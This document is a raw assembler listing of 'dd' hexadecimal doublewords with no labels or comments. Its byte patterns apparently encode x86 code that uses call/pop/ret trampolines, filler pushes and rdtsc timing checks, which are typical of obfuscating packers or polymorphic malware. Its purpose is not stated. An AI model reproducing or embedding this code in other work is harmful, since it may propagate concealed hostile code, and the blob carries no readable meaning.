dd 89562414h, 4C681E6h, 83000000h, 348704C6h, 74E95C24h
dd 0E2FFFC99h, 0FD5D818Bh, 8C2367FFh, 0D24B8D65h, 0E6E8B85Ah
dd 0C50307E3h, 61C0E0FFh, 7D043584h, 0C005627Ah, 0F8D01C8Dh
dd 0C8610430h, 0C18B4B9Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 40C35040h, 49958947h, 0EB07E01Dh, 4
dd 34DE8100h, 89265D78h, 0E00FE985h, 0C9858D07h, 0F807E013h
dd 66605090h, 53162CBFh, 6158F78Ah, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C8AAE19Bh
dd 4DE4415Bh, 870FAE3Ch, 3, 6AFB8B66h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0F2F4C2B7h, 8955C5D1h, 0E020B59Dh, 6A006A07h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 21B0C350h, 40C8F97Eh, 8DFE8BF8h, 0E3E9D285h, 45B58B07h
dd 8307E034h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 3A095FC3h, 9B86277Bh, 8166607Ch
dd 29C503CEh, 0E014D595h, 8A0F6107h, 6, 31798D89h, 609007E0h
dd 60FE8B66h, 5250C28Bh, 585A310Fh, 0E8506161h, 6, 0FF02776Eh
dd 50509F92h, 5A310F52h, 905F5F58h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 35C35242h, 0C6816633h, 800FA057h
dd 6, 2191BD31h, 6A07E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0ECC35747h, 56C63062h, 0E93A8F47h, 5
dd 8FE5BFB3h, 50006AE8h, 1C9DB58Bh, 0FF5F07E0h, 0E0344195h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0FA9BB402h, 661AE6CBh, 0A544EF81h, 8B0Fh
dd 0BD8B0000h, 7E016FDh, 0A3939D8Dh, 6A07E3h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 8722CAC3h
dd 0D3FFA660h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 74C35040h, 0AE9EF55h, 0BD000000h, 0C4F07D7Eh, 4C88A67Eh
dd 0FD85FFB1h, 0BF07E020h, 5609909Eh, 2A15B529h, 0AFE907E0h
dd 0E8000007h, 0
dd 0DCED815Dh, 2907E3E9h, 0E01E7995h, 14E807h, 0D23B0000h
dd 417A36Ah, 0EFF3B9B2h, 64F17773h, 0E0126F03h, 0BF0FCE0Ah
dd 0BD815FFAh, 7E01391h, 7D0h, 14F860Fh, 95010000h, 7E016B9h
dd 8BD9D8Bh, 0BD8B07E0h, 7E016FDh, 7E9h, 0EA251200h, 43A380Bh
dd 100E381h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 24ABDCC3h, 0AE8h, 0C5525A00h, 764AD0A8h
dd 8B145A4Fh, 0E01D11BDh, 0DB0B5F07h, 9A850Fh, 0B5290000h
dd 7E02A6Dh, 8E9h, 0FF05FD00h, 7FFE51BFh, 0B9BD83E1h, 7E3E7h
dd 3E840Fh, 6E90000h, 23000000h, 1025906h, 9AE924h, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0D7CC9CC3h, 0ECEC6F7Dh, 0F3DBD8Bh, 858907E0h, 7E020A9h
dd 0E7B985C7h, 107E3h, 0BD8B0000h, 7E00615h, 57E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 0FBBF0F42h, 0BFF18B66h, 48533478h, 0E7B985C7h, 7E3h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0BD436BC3h, 0B589FCDCh, 7E0304Dh, 8BD9D8Dh
dd 506007E0h, 5BFFB70Fh, 0F819D89h, 816107E0h, 0FFFEFF23h
dd 0E1B58BFFh, 8907E008h, 0E012098Dh, 0DB8C6607h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F4C35646h, 4DB7F7E2h
dd 17C9BD01h, 0E68107E0h, 70F47377h, 14E9h, 0A00B7200h
dd 0B5A75965h, 8EA95D15h, 0AF62259Ah, 773DDE33h, 4C3F60Bh
dd 53840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 4F219C3h, 6657572Fh, 5E15F3BFh
dd 0E995FF5Fh, 6607E01Ah, 2FF7C781h, 0FB05BF90h, 5050572Fh
dd 754567BFh, 0F905E3Bh, 681h, 118D3100h, 8B07E031h, 0E01A81BDh
dd 47EE907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 57CEB4C3h, 233DE3B1h, 0E025E1B5h
dd 8E907h, 46AD0000h, 23F5555Ah, 0B0805Ah, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DC35242h, 70E6F888h
dd 0E4FFB70Fh, 56006A71h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 85F62213h, 97AFC66Bh
dd 67BFB181h, 0F03B85Bh, 0BD8BD8B6h, 7E01BFDh, 6BAh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0BF0F2307h, 6AC38BF2h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 9A95C357h, 820DA1Ah
dd 4ADBD89h, 8F0F07E0h, 0Fh, 0AE9h, 59F2EC00h, 689537D6h
dd 0C1254A69h, 0B58904E8h, 7E0071Dh, 3229BD2Bh, 0F76607E0h
dd 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 4EE4ECA7h, 89F6B0D0h, 0E02065B5h, 60D82B07h
dd 2820Fh, 0C38B0000h, 259D9D89h, 666107E0h, 460EDF81h
dd 0E8575093h, 0Bh, 52496C0Ch, 721CA512h, 600E6D7Ah, 935F5E61h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6DC35545h
dd 9240181Dh, 896132EAh, 0E00875B5h, 0AE907h, 69210000h
dd 5E57F521h, 0E96D97EBh, 1391B5FFh, 95FF07E0h, 7E018A9h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h
dd 0A44A8ED9h, 1021BD01h, 0B007E0h, 5889D681h, 70E66A6Eh
dd 0E4F3B70Fh, 9B58B71h, 3C07E026h, 9D830F61h, 6A000002h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 52D9C355h, 0B60F5EF9h, 57006AD8h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0EB544F90h
dd 0FC97265h, 58Ch, 7473BE00h, 6BA3485h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0AF6CC350h, 5A42239Dh, 0C38BF549h, 8E9h, 0A46A3D00h
dd 5F1C6E5h, 4E8C17Bh, 1B91BD89h, 0F76607E0h, 9672BFE2h
dd 0D82B2D61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 30C35040h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 9E64818h, 0F717BCA3h
dd 0D82B6052h, 1BA880Fh, 0BD890000h, 7E021D9h, 7B9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0C18314A8h, 8DB58B00h, 3B07E008h, 81860FD9h, 6A000001h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0C585C351h, 7B4A7FC1h, 33E1FD97h, 0E004C5BDh
dd 0D98C6607h, 0F04C1F6h, 13B84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D24B8D65h
dd 0FDA395Ah, 1384h, 0EE900h, 57580000h, 0A30D648Bh, 0AB588DA0h
dd 0B4BA450h, 60F78B66h, 6800Fh, 890F0000h, 0
dd 1D618D8Bh, 0FF6107E0h, 0E01AE995h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 5F940A66h, 65456B72h, 14E9h, 0B8DE7400h, 578847C9h
dd 1035627Bh, 678F2A67h, 0B4B564B3h, 6A5BA4h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9CCC93C3h
dd 0AE95Ah, 0D0A80000h, 5A4F764Ah, 25925D14h, 6AC32Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 8779D6C3h, 8343D41h, 860F0000h, 4Ch, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h, 0FC7236EFh
dd 35E9FC3Fh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 1556C357h, 6653F570h
dd 5F4127BFh, 8166C08Bh, 600E1BC7h, 7D9D89FCh, 6107E025h
dd 0D88BC38Bh, 11810Fh, 800F0000h, 0Bh, 6E9h, 76CF4400h
dd 0C7E5523Ah, 0E016A185h, 40991D07h, 11E831h, 71800000h
dd 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh, 296722EAh, 0E01F659Dh
dd 0C08B5E07h, 5CE78166h, 91BD8138h, 0D007E013h, 0F000007h
dd 2E85h, 19BD8B00h, 0FF07E011h, 0E0139185h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 0C266D1D5h, 0FFFAB70Fh, 0E01391B5h, 0FBBF0F07h, 18A995FFh
dd 0BD8B07E0h, 7E01D79h, 5678B890h, 6A1234h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3508AEC3h
dd 88B17AAEh, 458D8911h, 8B07E001h, 299D8DF7h, 0E907E3F1h
dd 0FFFFF873h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0E2C35545h, 867EA415h, 0C18B007Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6BC35141h, 8C0F835Fh
dd 1, 698D31F9h, 0F07E007h, 58Ah, 0E7816600h, 4EB2EA1h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DC35141h
dd 58DBD23h, 10E807E0h, 0C6000000h, 17A9EBFh, 0E17BEC6Ch
dd 831E448Ah, 891E4DDEh, 0E02955B5h, 9D895F07h, 7E01D5Dh
dd 13C9858Dh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 520168C3h, 0F6BF0F1Ah, 7E890h, 0F9750000h
dd 83FA23D5h, 28A0F1Ah, 60000000h, 66505E61h, 906332BEh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 98C35242h
dd 6684A024h, 0E747C681h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 6A0EC3h, 0F3CF8166h
dd 13858DA6h, 3307E3F3h, 0E00901B5h, 5C08307h, 26658589h
dd 665007E0h, 89E78CBEh, 6A2404h, 6A006AF8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 5767C352h, 4FF319E0h, 95FF6271h, 7E03441h, 0A3939D8Dh
dd 0D3FF07E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0B8C35646h, 0AEE5BC59h, 20FD85FFh, 72BE07E0h, 0E9753707h
dd 0E69h, 0E8h, 0ED815D00h, 7E3F31Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0B7C35040h, 785AEBE3h, 0C78166AAh
dd 0BF0F46B5h, 91BD81FBh, 0D007E013h, 0F000007h, 12F86h
dd 12E800h, 0AB250000h, 5436B94Fh, 0D22A40C0h, 6B108923h
dd 3C63B023h, 5EFA8B66h, 13599D8Bh, 8E0F07E0h, 6, 33E98589h
dd 666007E0h, 80F2C9B8h, 8161DBCCh, 100E3h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 1EC58010h, 0B1F8FD2h, 87850FDBh, 89000000h, 0E000FD85h
dd 0BD83F507h, 7E3F1C0h, 3A840F00h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0F522C355h, 81E9h, 0C830F00h, 0E9000000h, 7, 8D55A283h
dd 8999583Bh, 0E02AFD95h, 0C085C707h, 107E3F1h, 0F000000h
dd 57E9FFB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 8203C357h, 67BC13E1h
dd 5DD8589h, 85C707E0h, 7E3F1C0h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C5C35343h
dd 25CE921Ch, 18C9BD89h, 9D8D07E0h, 7E01359h, 0FEFF2381h
dd 0BD0BFFFFh, 7E02F0Dh, 6ADB8C66h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F1FC356h
dd 48Eh, 88BF6600h, 14810F88h, 0E9000000h, 0Fh, 4949B5D3h
dd 1D8EE255h, 5947D07Bh, 0F65F3051h, 840F04C3h, 4Dh, 14800F60h
dd 0E9000000h, 0Fh, 5083B848h, 0C5B4F4ACh, 77F541DAh, 0F5DA0D3h
dd 0FF61FABFh, 0E01AE995h, 0C334BE07h, 0E8906FFDh, 8, 0EA5501F5h
dd 0B50EE8DBh, 2 dup(310F5250h), 585A585Ah, 0F90505Eh
dd 84h, 460E900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 319026C3h, 0BD038295h
dd 7E02161h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 2C072CC3h, 0BD8B3E92h, 7E0045Dh
dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0D987C1C3h, 0A0DDAB43h, 31953147h, 0E407E019h
dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 6036ED7Bh, 8970937Fh, 0E0201DB5h, 0D8B60F07h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 76C35343h
dd 0EE8h, 1CAE700h, 8D0D565Ch, 0A1F30B63h, 60EE8929h, 2B61BD89h
dd 12E907E0h, 82000000h, 1422794Bh, 102AAEA5h, 3672A082h
dd 0B9BB5D9Fh, 0BA5E614Ah, 6, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0E0C35747h, 53A1B12h, 2CB9BD8Bh
dd 0C38B07E0h, 6E8h, 91AE9A00h, 8B5A67C0h, 0E007ADBDh
dd 0E8C15E07h, 0E2F76604h, 8E9h, 1739A100h, 132A834Ah
dd 50D82B3Fh, 6A241C89h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 4124C350h, 0E9BDFE9Fh
dd 2BAE847h, 0A399BF66h, 1391B5FFh, 0BD8907E0h, 7E020C9h
dd 18A995FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 517F2EC3h, 51DB313Eh, 8B00B05Eh
dd 6F22BEF8h, 70E67990h, 47943BFh, 6A71E447h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 2730C350h, 0B0A6F665h, 0B58B608Ch, 7E000F1h, 830F613Ch
dd 272h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0BEC35242h, 0F5F210FAh, 0FF98B5Ah, 6AD8B6h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0D9FA71C3h, 67F2BAB8h, 6BABCh, 0B5890000h, 7E004F9h
dd 8D29C38Bh, 7E0321Dh, 6A04E8C1h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89D2C352h
dd 0E02D2D85h, 0E2F76607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 46C35343h, 0ABC40B36h, 310C8D8Ch, 0E01341BDh
dd 81D82B07h, 0FFAB3AEEh, 6A584Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 2BD2DDC3h, 97880FD8h
dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 8FE5C351h, 0F68132E8h, 5E2290Eh
dd 8E8h, 8BD68500h, 1255F9F5h, 9E9BEh, 1BD80000h, 6B2B7F68h
dd 5F4766FCh, 7B9h, 958D8900h, 8307E020h, 9E900C1h, 36000000h
dd 2474AD89h, 985D6A0Ch, 860FD93Bh, 132h, 1CA59D89h, 8D8907E0h
dd 7E025C9h, 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 9377C352h, 26E1BD8Bh
dd 0C1F607E0h, 0F2840F04h, 0F000000h, 880h, 0B58B6000h
dd 7E00DF9h, 0E995FF61h, 6A07E01Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D1C8C357h
dd 667E1DE3h, 0BF50C8BFh, 3B685A7Eh, 57006A5Bh, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0D1AC5BC5h
dd 0D3A6EBFFh, 595BD8Bh, 0C32B07E0h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 56C35242h, 5274739Eh, 6EA2B22Fh
dd 9E992h, 0BDCD0000h, 0DF4CEEF6h, 3D94DF88h, 834h, 4B860Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 0E9816EC3h, 2Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 52C35545h, 0F5BD8B5Eh, 8907E019h
dd 0E0264D95h, 66C08B07h, 0C38BF88Bh, 8B66D88Bh, 0BD85C7FEh
dd 0D307E008h, 6A57165Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 0F1AC356h, 589h, 60DDBE00h
dd 0C08B3BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0B7C35040h, 717CC5Ch, 11E9h, 3722DA00h, 5AFA2841h
dd 0B3CBFDD1h, 0B88D8008h, 0BD813B8Eh, 7E01391h, 7D0h
dd 0E850Fh, 0F08B0000h, 139185FFh, 0BD2907E0h, 7E02EFDh
dd 1391B5FFh, 8B6607E0h, 0FFB70FF1h, 18A995FFh, 6A07E0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0E33995C3h, 344DB58Bh, 409007E0h, 8E8h, 0E695FD00h
dd 0B2DC8BCh, 78DF81D5h, 5F0ACEB8h, 2E71BD83h, 0F0007E0h
dd 12284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 1FA41463h, 29D566AAh, 0E0083D95h
dd 51BD8307h, 7E015h, 0ED840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A42B3AC3h
dd 0F9641B84h, 2E7195FFh, 0BF507E0h, 0BC840FC0h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 77FDC352h, 4E005C4Bh, 2F018F74h, 12E8h, 0CDCA8B00h
dd 68BBA603h, 0BE820E1Fh, 0AB398DB3h, 539526A3h, 850Fh
dd 5E5F0000h, 4EE88D8Dh, 0DE907E0h, 0C1000000h, 17856AA4h
dd 0BDC4C506h, 3BF4F167h, 5B8h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 179BEFCBh
dd 708C0CCh, 6670CABFh, 6AE1FF3Ah, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E564C352h
dd 9CE86986h, 0BD8BB496h, 7E019FDh, 1800Fh, 83F50000h
dd 0E02531BDh, 840F0007h, 5BDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 0DDC35343h, 0BD9CA592h, 418589CFh
dd 8307E004h, 0E01551BDh, 840F0007h, 589h, 8DFEBF0Fh, 0E011D18Dh
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0F2775E0Bh, 664D55E2h, 0C7D4F7BEh, 0B27C8401h
dd 0CB018144h, 6A1499CFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 60F3C350h, 441C712h
dd 0CE706B34h, 2C7DBD8Bh, 418107E0h, 0D6D71004h, 51006A31h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 3A89BD5Eh, 0BE66D5FBh, 6AC4FFh, 8DF8B70Fh
dd 0E011D185h, 359D3107h, 5007E02Dh, 8870Fh, 52500000h
dd 0F08B310Fh, 489585Ah, 0C6815324h, 4164ACD1h, 3195FF5Fh
dd 6A07E025h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0F3B9C357h, 0F17773EFh, 0E96F0364h
dd 13h, 97D27697h, 0CE0DD1CAh, 0A3C49CEh, 7AC51402h, 8D56ABE6h
dd 0E011D18Dh, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0BD8B2726h, 7E01099h
dd 348D8D31h, 1C707E0h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BDC35646h
dd 907BF05h, 41C794F2h, 4, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0B78CF5D4h
dd 0F0958F48h, 840FC00Bh, 76h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 70C35747h, 4EE88D8Dh, 6A07E0h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 3B6BC8C3h, 5B8h, 0F5B58B00h, 0FF07E001h, 51006AE1h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0F49F975Dh, 14DBB6F9h, 2DD59589h, 8D8D07E0h, 7E011D1h
dd 0C7F6BF0Fh, 0AA727C01h, 0F5BD0B44h, 8107E013h, 99CFCB01h
dd 441C714h, 0CE78753Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 8C35343h, 0D6A89B52h, 0E87BE7F0h, 8
dd 0C1AFA075h, 0D18DBB81h, 5EF9BF0Fh, 10044181h, 6A31D6D7h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0B566C356h, 0E9006A0Eh, 0Eh, 842759E5h, 0C6C249FCh
dd 2B52F8D0h, 858DA6FCh, 7E011D1h, 3065B589h, 0E99007E0h
dd 14h, 38A766DCh, 3B931896h, 0A4D37B16h, 84E9E8ACh, 1F32304Eh
dd 52506050h, 310F5E57h, 880Fh, 585A0000h, 0F525057h, 5E585A31h
dd 0FFFC9061h, 0E0253195h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8D890124h
dd 7E013B5h, 11D18D8Dh, 1C707E0h, 0
dd 441C7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 3DA1C356h, 0A55E49D0h, 0C00BE690h
dd 5C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0E0C1ACC3h, 8BAC5723h, 0E011C5BDh
dd 0E88D8D07h, 0BE07E04Eh, 2F9D4A59h, 5B8h, 5E800h, 0BD8A0000h
dd 0E918A81Dh, 0Bh, 444F80BAh, 0B50B4DCDh, 5F12BD91h, 6660E1FFh
dd 8A886ABAh, 8D8D61F0h, 7E011D1h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 4AC35545h, 800FE5h, 0C7000000h
dd 0CA95A501h, 8589F854h, 7E02895h, 0CFCB0181h, 6A1499h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 5B4A5FC3h, 1C926A5Bh, 2AF1B58Bh, 41C707E0h, 5F596904h
dd 71B58BCEh, 8107E01Dh, 0D7100441h, 6A31D6h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 321DCFC3h
dd 554FF78Ah, 0FE88208h, 84h, 0FC006A00h, 11D1858Dh, 6A07E0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 752FCC3h, 0FB8B90E2h, 0EA7EBF50h, 66903342h, 8A0FFA8Bh
dd 5, 8EE32FBFh, 3195FF35h, 6007E025h, 59B58B51h, 5807E01Ch
dd 0DCA1E181h, 8D611338h, 0E011D18Dh, 0CDB58B07h, 0C707E005h
dd 1, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 0C7F5C29Fh, 441h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 1DF768C3h, 0DE91846Ah, 0FC00BB3h, 9C84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 593CA6AAh, 0B70F2228h, 0E88D8DFEh, 6A07E04Eh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 6A13C350h, 0A728CBAh, 5DDCACF8h, 0CE9h, 511B3F00h, 696D1782h
dd 898A305h, 5B84Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 47FF1DC3h, 567EF4AEh
dd 0A890Fh, 8A0F0000h, 4, 872DBF66h, 0FC53E1FFh, 0E9CA035Fh
dd 0FFFFF1B4h, 0AE8h, 4BB03B00h, 0EC02F2D7h, 605FEAB1h
dd 17E18D89h, 13B807E0h, 612D3C88h, 89C18B5Eh, 0E00FF1B5h
dd 4EB07h, 89000000h, 0E01A6195h, 94E68107h, 8D05D75Ch
dd 0E013C985h, 0BD9D8907h, 5007E01Dh, 89FA8B66h, 9D292404h
dd 7E0304Dh, 6A006Ah, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 39C35040h, 84FF64ADh, 0D3A75714h, 0BE9D0h
dd 36F40000h, 355B8CD9h, 947E429Fh, 0A7858D23h, 6A07E402h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 87BC356h, 95895AF8h, 7E02F1Dh, 0E905C083h
dd 0Bh, 0A28EE117h, 0B2F8B072h, 2975EF85h, 0E02B35B5h
dd 51509007h, 8F0F51h, 5F000000h, 8B60905Eh, 0E01375B5h
dd 4E99B807h, 6A611A44h, 0D1B58B00h, 6A07E021h, 0B4BF6600h
dd 4195FFA4h, 6A07E034h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0F559C351h, 0A3939D8Dh
dd 0D3FF07E3h, 10E952h, 18D80000h, 5798E8F5h, 5E7ACDCBh
dd 983D9990h, 0FF5E1292h, 0E020FD85h, 45B58B07h, 0E907E034h
dd 8A1h, 0E8h, 0ED815D00h, 7E402B1h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 7DC35040h, 2850FB7h, 8B000000h
dd 6850FF2h, 89000000h, 0E00451BDh, 91BD8107h, 0D007E013h
dd 0F000007h, 1AB86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 0AFD17C6Dh, 18C0F28h
dd 0FC000000h, 0E19D8Bh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 7A4964C3h, 0E38192h
dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0B4B5C357h, 66ACBFA4h, 0B0A93BEh
dd 0C2850FDBh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 2D4BC351h, 554117Ch
dd 197C7E0h, 0E01FBD9Dh, 8BBD8307h, 7E401h, 29840Fh, 0F18B0000h
dd 91E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 59858998h, 0C707E02Ch, 0E4018B85h
dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 792B65FAh, 15A1B58Bh, 3BE907E0h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 2F0CC356h, 88D0Fh, 8D0F0000h
